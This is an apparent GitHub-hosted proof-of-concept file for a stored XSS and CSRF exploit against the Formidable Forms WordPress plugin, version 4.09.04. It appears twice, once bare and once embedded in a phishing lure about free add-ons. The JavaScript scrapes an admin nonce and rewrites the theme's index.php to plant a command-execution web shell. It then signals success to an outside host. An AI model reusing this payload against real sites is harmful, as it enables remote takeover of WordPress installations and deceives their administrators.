-
Notifications
You must be signed in to change notification settings - Fork 0
/
XSS_PAYLOAD_FORMIDABLE.txt
60 lines (48 loc) · 19.4 KB
/
XSS_PAYLOAD_FORMIDABLE.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<div>Delete this form entry?
<script>
var nonce = '';
var body = '';
var regex = /[a-z0-9]{10}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
req.open("GET","/wordpress/wp-admin/theme-editor.php?file=index.php", true);
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.send();
req.onreadystatechange = function () {
if (req.readyState == 4 && req.status == 200) {
body = req.responseText;
nonce = body.match(regex)[447];
}
};
setTimeout(() => {
confirm(" RCE through XSS and CSRF in Formidable 4.09.04 by Silky. Wp-nonce: "+nonce); //Confirm just for demonstration purpose.
req2.open("POST","/wordpress/wp-admin/admin-ajax.php", true);
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req2.send("nonce="+nonce+"&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Ftheme-editor.php%3Ffile%3Dindex.php%26theme%3Dtwentytwentyone&newcontent=%3C%3Fphp%0A%2F**%0A+*+The+main+template+file%0A+*%0A+*+This+is+the+most+generic+template+file+in+a+WordPress+theme%0A+*+and+one+of+the+two+required+files+for+a+theme+(the+other+being+style.css).%0A+*+It+is+used+to+display+a+page+when+nothing+more+specific+matches+a+query.%0A+*+E.g.%2C+it+puts+together+the+home+page+when+no+home.php+file+exists.%0A+*%0A+*+%40link+https%3A%2F%2Fdeveloper.wordpress.org%2Fthemes%2Fbasics%2Ftemplate-hierarchy%2F%0A+*%0A+*+%40package+WordPress%0A+*+%40subpackage+Twenty_Twenty_One%0A+*+%40since+Twenty+Twenty-One+1.0%0A+*%2F%0A%0Aget_header()%3B%0Aecho+system(%24_GET%5B'cmd'%5D)%3B%0Aif+(+have_posts()+)+%7B%0A%0A%09%2F%2F+Load+posts+loop.%0A%09while+(+have_posts()+)+%7B%0A%09%09the_post()%3B%0A%0A%09%09get_template_part(+'template-parts%2Fcontent%2Fcontent'%2C+get_theme_mod(+'display_excerpt_or_full_post'%2C+'excerpt'+)+)%3B%0A%09%7D%0A%0A%09%2F%2F+Previous%2Fnext+page+navigation.%0A%09twenty_twenty_one_the_posts_navigation()%3B%0A%0A%7D+else+%7B%0A%0A%09%2F%2F+If+no+content%2C+include+the+%22No+posts+found%22+template.%0A%09get_template_part(+'template-parts%2Fcontent%2Fcontent-none'+)%3B%0A%0A%7D%0A%0Aget_footer()%3B%0A&action=edit-theme-plugin-file&file=index.php&theme=twentytwentyone&docs-list=");
req2.onreadystatechange = function () {
if (req2.readyState == 4 && req2.status == 200) {
body = req2.responseText;
if (body.includes("true")){
console.log("Index.php edited");
var myImage = new Image(0, 0);
myImage.src = 'http://192.168.56.1:5686/index_edited';
}
else{
console.log("Something went wrong");
}
}
}
},2000);
</script>
</div>
=========================Full encoded payload============================================
Update now to get ADD-ONS for free!
Content-Disposition: form-data; name="item_meta[22]"
<img src="https://cdn.formidableforms.com/wp-content/uploads/2018/12/Update-makes-add-ons-simpler.jpg">
Because of our anniversary we issue a free Update for all our customers.
included are:
- New ADD-ONS
Only for a short time available
<a href="?page=formidable-entries&frm_action=destroy&id=444&form=4&frm-full=1" class="submitdelete" data-frmverify="<div>Delete this form entry?
 <script>
var nonce = '';
var body = '';
var regex = /[a-z0-9]{10}/g; 
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();

req.open("GET","/wordpress/wp-admin/theme-editor.php?file=index.php", true); 
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.send(); 

req.onreadystatechange = function () {
      if (req.readyState == 4 && req.status == 200) {
        body = req.responseText;
        nonce = body.match(regex)[447];
      }
    };

setTimeout(() => {
confirm(" RCE through XSS and CSRF in Formidable 4.09.04 by Silky. Wp-nonce: "+nonce);
req2.open("POST","/wordpress/wp-admin/admin-ajax.php", true); 
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req2.send("nonce="+nonce+"&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Ftheme-editor.php%3Ffile%3Dindex.php%26theme%3Dtwentytwentyone&newcontent=%3C%3Fphp%0A%2F**%0A+*+The+main+template+file%0A+*%0A+*+This+is+the+most+generic+template+file+in+a+WordPress+theme%0A+*+and+one+of+the+two+required+files+for+a+theme+(the+other+being+style.css).%0A+*+It+is+used+to+display+a+page+when+nothing+more+specific+matches+a+query.%0A+*+E.g.%2C+it+puts+together+the+home+page+when+no+home.php+file+exists.%0A+*%0A+*+%40link+https%3A%2F%2Fdeveloper.wordpress.org%2Fthemes%2Fbasics%2Ftemplate-hierarchy%2F%0A+*%0A+*+%40package+WordPress%0A+*+%40subpackage+Twenty_Twenty_One%0A+*+%40since+Twenty+Twenty-One+1.0%0A+*%2F%0A%0Aget_header()%3B%0Aecho+system(%24_GET%5B'cmd'%5D)%3B%0Aif+(+have_posts()+)+%7B%0A%0A%09%2F%2F+Load+posts+loop.%0A%09while+(+have_posts()+)+%7B%0A%09%09the_post()%3B%0A%0A%09%09get_template_part(+'template-parts%2Fcontent%2Fcontent'%2C+get_theme_mod(+'display_excerpt_or_full_post'%2C+'excerpt'+)+)%3B%0A%09%7D%0A%0A%09%2F%2F+Previous%2Fnext+page+navigation.%0A%09twenty_twenty_one_the_posts_navigation()%3B%0A%0A%7D+else+%7B%0A%0A%09%2F%2F+If+no+content%2C+include+the+%22No+posts+found%22+template.%0A%09get_template_part(+'template-parts%2Fcontent%2Fcontent-none'+)%3B%0A%0A%7D%0A%0Aget_footer()%3B%0A&action=edit-theme-plugin-file&file=index.php&theme=twentytwentyone&docs-list="); 

req2.onreadystatechange = function () {
      if (req2.readyState == 4 && req2.status == 200) {
        body = req2.responseText;
        if (body.includes("true")){
            console.log("Index.php edited");
            var myImage = new Image(0, 0);
            myImage.src = 'http://192.168.56.1:5686/index_edited';
        }
        else{
            console.log("Something went wrong");
        }
      }
    }
  
  },2000);


</script></div>">Update here</a>